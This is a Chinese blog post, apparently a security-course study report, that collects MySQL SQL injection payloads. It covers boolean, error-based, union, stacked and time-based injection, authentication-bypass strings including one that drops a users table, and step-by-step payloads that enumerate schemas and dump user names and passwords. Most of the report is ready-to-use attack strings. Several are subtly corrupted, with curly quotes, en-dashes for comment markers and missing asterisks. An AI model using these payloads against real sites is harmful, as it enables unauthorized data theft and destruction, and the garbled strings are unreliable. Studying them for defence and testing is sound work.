Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第六周:数据库相关注入语句的收集和学习

任务标题: 数据库基础之数据库相关注入语句的收集和学习

1、收集网络上各种 sql 注入时使用的 payload 并理解其适用的环境(检测注入、利用注入)

2、记录 sqlmap 的检测和利用过程中使用的 payload(也算一种 payload 收集方式)

3、理解以上涉及的 sql 语句的意思,其中会涉及不同的数据库、不同注入场景,可以将学习的过程和收集的方式进行整理形成报告,关于 payload 的理解,其中会涉及之前学习的基础。

扩展学习:理解 sqlmap 自带 tamper 的原理,这里通常包含很多数据库的特性,从而实现 payload 变形啥的,用来绕过一些简单的安全检测

相关问题

1、本次学习还是围绕数据库进行,两个重点:

一、通过网络进行信息收集,尽可能多的收集网络上公开的有关 sql 注入涉及到的注入 payload,来源可以是:文章中涉及的、github 上某些工具中提供的、某些成品工具中携带的(比如:sqlmap)

二、理解这些 payload 中涉及的数据库使用的难点理解,比如:某些特殊字符在数据库中的作用,之前学习的功能函数在实际注入中的应用、可能存在一些在之前学习中未涉及的数据库功能和特性等

2、学完这些基础之后,可以去理解理解 sqlmap 中自带的一些 tamper 的原理,以及如何编写 tamper,作为扩展训练,有能力的可以研究研究。

3、本次重点不在 sqlmap 的学习,还是基于数据库的学习,通过这个任务,可以锻炼大家的信息收集能力,扩展信息收集的各种方式,巩固之前的学习基础,扩展一些之前未学到的东西。

4、我上传的一些 payload 也是来自于 github 的某些工具中带的 fuzz 字典,学习的方式不是每一个 payload 都去理解,去实践,因为 fuzz 技术就是在未知的情况下,变换各种方式去尝试,不需要每一个 payload 都去思考其场景,模拟其场景,主要还是学习其中的基础,能够做到每一个 payload 中涉及的字符、函数、语句都能理解就够了。

5、关于 sqlmap 中的 payload 如何获取,本身是开源软件,能力强的可以去看代码,从中提取,一劳永逸的方式, 也是可以获取很多闭源产品 payload 的方式,就是部署一个 web 环境,然后设置环境记录所有访问记录,包括 GET、POST、HEAD 等情况,然后用扫描器进行目标扫描,在扫描完成之后,将日志拿出来,分析即可。

6、由于之前的几周任务,越来越多的小伙伴没有完成,所以本次任务难度还是比较高的,学习的周期可以适当加长,目前设定为两周,大家可以好好学习学习,然后等一下之前未能完成前面任务的同学。

7、最近在星球发布了一个作业,关于职业选择和成长路径的,各位已经参加工作的可以发表一些自己的观点和经验,供大家参考学习。

学习报告

SQL注入

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

常见的SQL注入类型及相关payload

  1. 基于布尔的SQL注入(布尔型注入)

    布尔盲注的核心思想就是通过判断两种不同的页面状态来进一步推断注入语句是否被执行以及数据是否存在。
    payload:

    id=1’ and length(database())>1 #

    当我们输入的注入语句无法通过回显以及报错的方式来获取数据,这时候就可能存在盲注,通过判断有跟没有、对或错来判断regexp 是否匹配到数据了。

  2. 基于错误的SQL注入(报错型注入)

    报错型注入是利用了MySQL的第8652号BUG,但是用echo mysql_error();输出了错误信息时使用,

    payload:

    id=’ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

    当然如果报错的数据不能回显到页面上来,就无法使用报错注入,这时候我们就可以考虑是否存在盲注。

  3. UNION查询SQL注入(可联合查询注入)

    联合查询就是通过union关键字将多条语句合并在一起执行,让前一条语句报错从而让后一条语句的执行结果输出到前一条语句的显位中。需要注意的是查询语句要符合1.相同列数2.相似的数据类型3.相同的编码。

    payload:

    id=-1’ union select 1,(select user()),(select version())#

  4. 堆叠查询SQL注入(可多语句查询注入)

    多语句查询注入也叫做堆叠查询,与联合查询有点相似,都可以多条语句查询,堆叠查询的关键是分号(;)比较直观的就是如果分号被过滤或者无法绕过就无法注入.

  5. 基于时间的盲SQL注入(基于时间延迟注入)

    如果在测试的时候发现都不存在前面三种所说的注入,那就有可能是时间盲注,时间盲注的特点是无回显,无报错,也没有多种页面状态。

    这时候就需要通过增加sleep()函数来判断注入语句的执行,而布尔则是根据页面的对错来判断。

    payload:

    id=1’ and sleep(5)# 如果sleep则可以初步判断可能存在时间盲注。

常见的绕过认证的方式

Payload 解释
admin or 1=1 无需密码通过认证,必须有个真实的用户名
or = 无需验证用户名密码通过认证
admin 用户admin没有密码
union select 1, user, pass, 1 查询帐号密码,需要知道列名
; drop table users 删除用户表

常用的payload

  • 可联合查询注入

    1.判断当前数据表中有几列:
    ?id=1’ order by 数值 –+

    2.查看显示位在第几列(这里假设共有3列):
    ?id=-1’ union select 1,2,3 –+

    3.显示当前数据库(假设显示位在第3 列):
    ?id=-1’ union select 1,2,database() –+

    4.查询当前数据库的所有表:
    ?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –+

    5.查询所有数据库 :
    ?id=-1’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata) –+

    6.查询某个数据库中的表 (此例为 db1 数据库):
    ?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=’message’) –+

    7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
    ?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=’message’ and table_name=’users’) –+

    8.查询某个表中的字段内容(此例为 message数据库中的users 表):
    ?id=-1’ union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) –+

  • 报错型注入

    floor 类型
    固定格式:(星号位置替换为查询语句即可)

    ?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(******),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) –+

    1.爆数据库:
    ?id=1’ and (select 1 from (select count(*),concat(0x3a,0x3a,(select distinct table_schema from information_schema.columns limit 1,1),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) –+
    小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。

    2.爆表名(此例为message数据库):?id=1’ and (select 1 from (select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=’message’ limit 2,1),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) –+

    3.爆字段(此例为message数据库的users表):
    ?id=1’ and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema=’message’ and table_name=’users’ limit 2,1),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) –+

    4.爆内容(此例为message数据库的users表):
    ?id=1’ and (select 1 from (select count(*),concat(0x3a,0x3a,(select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) –+

  • 布尔型盲注

    1.查询数据库个数:
    ?id=1’ and ((select count(schema_name) from information_schema.schemata) < 77)–+
    77为随意输入数字,可通过二分法确定最终值。

    2.查询某一个数据库的长度:
    ?id=1’ and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)–+
    3)查看某个数据库名:
    ?id=1’ and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)–+
    通过改变limit与substr的值,依次查看每一个字符

    3.查询某个数据库的所有表
    1)查询表的个数 (此例为message数据库中的表):
    ?id=1’ and ((select count(distinct+table_name) from information_schema.tables where table_schema=’message’ ) < 77)–+
    2)查看某个表名的长度(此例为message数据库中的表):
    ?id=1’ and ((select length(table_name) from information_schema.tables where table_schema=’message’ limit 1,1) < 77)–+
    3)查看某个表名(此例为message数据库中的表):
    ?id=1’ and ((select ascii(substr((select table_name from information_schema.tables where table_schema=’message’ limit 1,1),1,1))) < 77)–+
    通过改变limit与substr的值,依次查看每一个字符

    4.查询某个表中的所有字段
    1)表中字段的个数(此例中为message数据库中的users表):
    ?id=1’ and ((select count(distinct+column_name) from information_schema.columns where table_schema=’message’ and table_name=’users’ ) < 77)–+
    2)查看某个字段名的长度(此例中为message数据库中的users表):
    ?id=1’ and ((select length(column_name) from information_schema.columns where table_schema=’message’ and table_name=’users’ limit 1,1) < 77)–+
    3)查看某个字段名(此例中为message数据库中的users表):
    ?id=1 ‘ and ((select ascii(substr((select column_name from information_schema.columns where table_schema=’message’ and table_name=’users’ limit 1,1),1,1))) < 77)–+
    通过改变limit与substr的值,依次查看每一个字符

    5.查看内容
    1)查看表中的行数(此例中为message数据库中的users表):
    ?id=1’ and ((select count(*) from message.users ) < 77)–+
    2)查看某个字段对应内容的长度(此例中为message数据库中的users表):
    ?id=1’ and ((select length(name) from message.users limit 1,1) < 77)–+
    3)查看某个字段名对应内容(此例中为message数据库中的users表中的name字段):
    ?id=1’ and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)–+
    通过改变limit与substr的值,依次查看每一个字符

参考文章